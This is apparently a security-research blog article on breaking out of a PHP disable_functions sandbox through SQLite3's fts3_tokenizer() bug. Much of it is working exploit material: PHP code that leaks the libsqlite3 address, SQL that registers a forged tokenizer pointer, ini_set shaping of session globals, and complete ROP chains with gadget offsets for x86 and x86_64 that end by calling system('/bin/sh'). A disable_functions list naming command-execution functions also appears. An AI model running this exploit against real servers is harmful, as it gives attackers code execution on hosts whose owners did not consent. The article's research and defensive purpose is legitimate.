Gravitational plate of three masses and a slashed discABC0Static engraved plate. Three-dimensional view is unavailable or reduced motion is requested.

← back to fieldarticle

articleDec 20, 2020

SQLite3 fts3_tokenizer() Remote Code Execution Research

How a PHP sandbox with disabled system functions can still fall to RCE via SQLite3 fts3_tokenizer: leak the module base, hijack tokenizer callbacks, pivot the stack, and call system on both x86 and x86_64.

Web application: PHP

  • A shorter PHP RCE overview lives here:

Web Application RCE Case

PHP security 1

  • This section is about one PHP hardening idea: the sandbox.

PHP sandbox

Disable Functions

  • Blocks access to named PHP functions.
  • If your attack path needs command execution (system, proc_open, shell_exec), sockets, or curl, listing those in disable_functions makes the path much harder.
## Disable Function Example
- exec
- passthru
- shell_exec
- system
- proc_open
- popen
- curl_exec
- curl_multi_exec
- parse_ini_file
- show_source

Safe_Mode

  • With a chroot-style web root such as /var/www/html, shell binaries like /bin/ls and /bin/id become unreachable.
  • Different uid/gid blocks access.
    • With certain safe_mode options on, even /etc/passwd is off limits.
  • System commands under safe_mode tend to throw and fail closed.
cat /etc/php.ini | grep safe_mode
  • Toggle it in /etc/php.ini.

Safe_Mode bypass

  • A few practical angles:
    • Hit functions that remain allowed under Safe_Mode (curl, sockets, …)
  • Or exploit a module PHP loads
    • CGI mode, PHP-FPM
  • PHP has a long CVE history
    • Module bugs often do not require a specific PHP version
    • Older module builds keep working across PHP releases that still load them

PHP
PHP

PHP RCE 1-day case

  • Target: a PHP app where an attack vector exists, but the sandbox blocks the usual system APIs. Use the SQLite module to break out and land RCE.

PHP debugging

  • Debug PHP + Apache dynamically while analyzing the vulnerable module.

Attach gdb to the process

  • Print getmypid(), sleep, then attach while the request is still live.
<?php
	echo getmypid();
	sleep(10);
?>
  • Hit the script and take the printed PID.
[root@localhost html]# curl http://localhost/dbg.php
1876
  • Attach with -p:
gdb -p [pid]

PHP
PHP

  • Map loaded libraries and compute offsets for ROP.

PHP
PHP

  • That is enough gdb setup. Next: the vulnerable sqlite3 module and where code execution starts.

Safe Mode bypass

  • Goal: module-level code execution that eventually calls system, without relying on disabled PHP functions.
  • Plenty of CVEs in this space (UAF, buffer overflow, and so on), including CVE-2015-0273 and CVE-2015-6834.
  • Module bugs let you exploit without pinning a single PHP version.

PHP SQLite module (PHP ≥ 5.3)

PHP
PHP

PHP
PHP

  • The vulnerable SQLite3 build here is 3.6.20, available from PHP 5.3 onward.

SQLite3 fts3_tokenizer vulnerability

fts3_tokenizer overview

  • SQLite lets you register a custom tokenizer for FTS3 search via fts3_tokenizer.
  • With the FTS3/4 extension you create special FTS tables.
  • Even with large documents, you can query rows that contain one or more tokens efficiently.

Searching with SQLite FTS3

  • Create a virtual index table, add rows, build tokens.
  • Search with MATCH.
  • SQLite's default is the simple tokenizer.

User tokenizer callbacks

  • xCreate: initialization

  • xDestroy: destruction

  • xOpen: new tokenize cursor from user input

  • xClose: close the cursor

  • xNext: yield next word

  • Function pointers live in sqlite3_tokenizer_module:

struct sqlite3_tokenizer_module {
 int iVersion;
 int (*xCreate) (int argc, const char * const *argv, sqlite3_tokenizer **ppTokenizer);
 int (*xDestroy) (sqlite3_tokenizer *pTokenizer);
 int (*xOpen) (sqlite3_tokenizer *pTokenizer, const char *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor);
 int (*xClose) (sqlite3_tokenizer_cursor *pCursor);
 int (*xNext) (sqlite3_tokenizer_cursor *pCursor, const char **ppToken, int *pnBytes, int *piStartOffset, int *piEndOffset, int *piPosition);
};

SQLite FTS3 bug

Leaking the FTS3 module base

  • Built-in tokenizers include simple, porter, unicode64, and others.
select hex(fts3_tokenizer('simple'));

					returns a hex string (big-endian address)

PHP
PHP

  • fts3_tokenizer returns a BLOB-encoded pointer to the registered tokenizer. Querying a built-in tokenizer leaks an address inside libsqlite3.
  • Flip it to little-endian for ASLR bypass math.
<?php
function flip($val) {
  $len = strlen($val);
  $result = '';
  for ($i = $len; $i > 2; $i-=2) {
    $result .= substr($val, $i - 2, 2);
  }
  $result .= substr($val, 0, $i);
  $result .= str_repeat('0', 16 - $len);
  return $result;
}
 
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
echo flip($leaked_addr);
$db->close();
?>

PHP
PHP

  • Why does this leak?
/* Load the built-in tokenizers into the hash table */
  if( rc==SQLITE_OK ){
    if( sqlite3Fts3HashInsert(pHash, "simple", 7, (void *)pSimple)
     || sqlite3Fts3HashInsert(pHash, "porter", 7, (void *)pPorter) 
     || (pIcu && sqlite3Fts3HashInsert(pHash, "icu", 4, (void *)pIcu))
    ){
      rc = SQLITE_NOMEM;
    }
  }
 
static const sqlite3_tokenizer_module simpleTokenizerModule = {
 0,
 simpleCreate,
 simpleDestroy,
 simpleOpen,
 simpleClose,
 simpleNext,
};
  • Built-in tokenizers are loaded into a hash table whose addresses sit in libsqlite3's .bss.

fts3_tokenizer() forms

SELECT fts3_tokenizer(<tokenizer-name>);
SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);
  • One-argument form returns a pointer to the currently registered implementation.
  • Two-argument form registers a copy of the module pointed to by the second argument.

Arbitrary code execution via FTS3 callbacks

  • Feeding a crafted second argument to fts3_tokenizer crashes:
<?php
ob_start();
echo getmypid();
echo str_repeat(" ", 0x1212);
ob_end_flush();
flush();
 
sleep(10);
 
function flip($val) {
  $len = strlen($val);
  $result = '';
  for ($i = $len; $i > 2; $i-=2) {
    $result .= substr($val, $i - 2, 2);
  }
  $result .= substr($val, 0, $i);
  $result .= str_repeat('0', 16 - $len);
  return $result;
}
 
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
echo "\n";
echo flip($leaked_addr);
echo "\n";
$db->close();
 
sleep(10);
 
$db = new SQLite3(":memory:");
$db->exec("select fts3_tokenizer('simple', x'4141414141414141');
        create virtual table a using fts3(tokenizer=simple);");
 
?>
 

php_in.png
php_in.png

  • SQLite3 called the xCreate callback through that pointer with no usable validation of the value you registered.
// https://github.com/mackyle/sqlite/blob/0ab6f6f4c9142a55959ed2097734942c1781b538/ext/fts3/fts3_tokenizer.c
m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1);
  if( !m ){
    sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z);
    rc = SQLITE_ERROR;
  }else{
	.......
    }
    rc = m->xCreate(iArg, aArg, ppTok);
    assert( rc!=SQLITE_OK || *ppTok );
    if( rc!=SQLITE_OK ){
      sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer");
    }else{
      (*ppTok)->pModule = m; 
    }
    sqlite3_free((void *)aArg);
  }

xOpen angle

insert into exploit values(x"9090909090909090");
  • After the FTS table exists, an INSERT drives xOpen.
  • Here 0x9090909090909090 becomes pInput and the callback fires.
// https://github.com/mackyle/sqlite/blob/0ab6f6f4c9142a55959ed2097734942c1781b538/ext/fts3/fts3_expr.c
sqlite3_tokenizer_module const *pModule = pTokenizer->pModule;
sqlite3_tokenizer_cursor *pCsr = 0;
int rc;
rc = pModule->xOpen(pTokenizer, z, n, &pCsr);
  • Plant a controllable structure at a predictable address, register it via fts3_tokenizer, trigger the callback, and steer the program counter plus arguments from there.

FTS3 PHP RCE exploitation

Exploit flow

$sqlite3_lib_leaked_tokenizer = sqlQuery("select hex(fts3_tokenizer('simple')) addr")['addr'];
$libsqlite3_addr = flip($sqlite3_lib_leaked_tokenizer);
$libsqlite3_base = $libsqlite3_addr - $leaked_simple_tokenizer_offset;
 
$payload = 0x9090909090909090; // payload 
sqlQuery("select fts3_tokenizer('simple', ?);", $payload);
sqlQuery("create table a using fts3"); // crash
  • That is the high-level sequence.
  • On x86, relying on xCreate alone felt brittle, so the chain leans on xOpen argument control.

x86 PHP + SQLite3 FTS3 tokenizer RCE

Info leak

  • Flip the leaked simple-tokenizer address to little-endian on a 4-byte boundary:
function flip($val)
{
 
  $len = strlen($val);
  if (8 - $len) {
    $val = str_repeat('0', 8 - $len).$val;
  }
 
  $result = '';
  for ($i = 8; $i > 2; $i -= 2) {
    $result.= substr($val, $i - 2, 2);
  }
  $result.= substr($val, 0, $i);
  return $result;
}
 
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
$db->close();
 
$addr = hexdec(flip($leaked_addr));

Tokenizer callback control

  • The second argument overwrites the callback pointer.
  • You can move edi, but stack-pivoting from that alone is awkward, so drive xOpen's pInput instead.

PHP
PHP

int (*xOpen) (sqlite3_tokenizer *pTokenizer,
	const char *pInput,
	int nBytes,
	sqlite3_tokenizer_cursor **ppCursor
);
  • Fully controlling xCreate so that xOpen is also under control needs at least three contiguous controllable words.
  • Shape those with PHP.ini / session globals.

PHP.ini (_php_ps_globals)

  • The session/ini globals live process-wide in .bss, so their addresses are stable enough to aim at.
// https://www.php.net/manual/en/ini.list.php
 
typedef struct _php_ps_globals {
	char *save_path;
	char *session_name;
	char *id;
	char *extern_referer_chk;
	char *entropy_file;
	char *cache_limiter;
	long entropy_length;
	long cookie_lifetime;
	char *cookie_path;
	char *cookie_domain;
	zend_bool  cookie_secure;
	zend_bool  cookie_httponly;
	ps_module *mod;
	ps_module *default_mod;
	void *mod_data;
	php_session_status session_status;
	long gc_probability;
	long gc_divisor;
	long gc_maxlifetime;
	int module_number;
	long cache_expire;
  • Fields marked for use are the pointer and integer slots that widen the gadget surface.
  • Tweaking php.ini values lets you forge a fake FTS3 tokenizer module structure.

Steering ebp with the second argument

  • Point the second argument (seen in ebp) at ps_globals.gc_probability, adjusted by -0x4 to match the caller's offset math.

PHP
PHP

  • gc_probability, gc_divisor, and gc_maxlifetime are all long.
  • xOpen only runs after a successful xCreate and an INSERT. Retarget the simple hash entry so simpleCreate still runs, then route into xOpen.

PHP
PHP

  • In this environment 0xe3bbc0 is simpleCreate; the 0x7fffffff values are fillers.

PHP
PHP

  • Fill the globals with ini_set.
  • Those three ps_globals longs are the contiguous slots needed for xOpen.
  • With test data you can see EIP land under your control.

PHP
PHP

  • The call site looks like call [edx+0xc]; eax holds the INSERT value that becomes xOpen's input.

Stack pivot onto the payload

  • PC is controllable; eax references the memory you care about.

PHP
PHP

  • Turn the INSERT blob into a ROP stack with an XCHG gadget that swaps esp and eax:
xchg esp, eax;
ret;

PHP
PHP

ROP to RCE

  • With a chainable stack, write /bin/sh (and a trailing NUL) into a writable region four bytes at a time, then call system with that pointer.
## command move step (0~5 repeat)
pop eax ; ret               --------> libsqlite3_gadget(0x00305337) -> offset(0x82337)  -> server(0xe9c337)
;command(4)                 --------> CMD
pop edx ; ret               --------> libsqlite3_gadget(0x00305e09) -> offset(0x82e09)  -> server(0xe9ce09)
;writable memory            --------> libsqlite3+(0x8eaa0-0x18)                         -> server(0xea8a88, 0xea8a8c, 0xea8a90, 0xea8a94, 0xea8a98,0xea8a9c, 0xea8aa0)
mov [edx+0x18], eax ; ret   --------> libc-2_gadget(0x004e3642)     -> offset(0x2a642)  -> server(0xa0d642)
 
## call system
pop eax ; ret               --------> libsqlite3_gadget(0x00305337) -> offset(0x82337)     -> server(0xe9c337)
;lib_system                 --------> libc-2+0x3af60                                       -> server(0xa1df60)
pop esi ; ret               --------> libphp5_gadget(0x000d5902)    -> offset(0x000d5902)  -> server(0xb71a8902)
;writable memory            --------> libsqlite3+0x8eaa0                                   -> server(0xea8aa0)
push esi ; call eax;        --------> libphp5_gadget(0x0029eb07)    -> offset(0x0029eb07)  -> server(0xb7371b07)
  • Gadgets come from leaked bases plus offsets; the writable scratch space is libsqlite3 .bss.

PHP
PHP

  • Writes land at sqlite3SavedPrng + 0x18 via edx.

asd.png
asd.png

PHP
PHP

  • The chain ends in a system call and code execution.

x86_64 PHP SQLite3 FTS3 tokenizer RCE

  • Same bug class; new gadgets. On 64-bit, drive xCreate and run the payload from there.

Calling system with ROP

  • Arguments move through registers, so rebuild the chain.
  • Prefer executable gadgets from libphp5.so.
leave;                     -------->        stack pivot
ret;                       -------->        payload->esp
 
pop rax;                   -------->        rax <- system_lib
pop rbx;                   -------->        rbx <- wirtable memory(Cookie_path)
ret;
 
mov rdi, [rbx];            -------->        rdi <- [rbx] address(writalbe memory)
call rax;

PHP
PHP

  • Pivot so the stack overlays ps_globals and the fields become readable as stack slots.

PHP
PHP

  • Load system into rax, then put the cookie_path pointer into rbx.

PHP
PHP

  • cookie_path already points at the planted string, so dereference through rbx.
0x7ff9d4cefbc0 <ps_globals+64>:  => 0x00007ff9d8b15908
 
0x00007ff9d8b15908 =>  "/bin/sh"

PHP
PHP

  • Move that into rdi per the calling convention and execute.

References


us 19 Qian Exploring The New World Remote Exploitation Of SQLite And Curl wp

us 17 Feng Many Birds One Stone Exploiting A Single SQLite Vulnerability Across Multiple Software

related

  1. Dec 25, 2021/archiveWeb application RCE patterns
  2. Dec 26, 2021/articleWeb Application SSRF / XXE / SSTI Research Notes
  3. Dec 24, 2021/articleVulnerability analysis of commercial metaverse-based virtual office platforms

graphfeed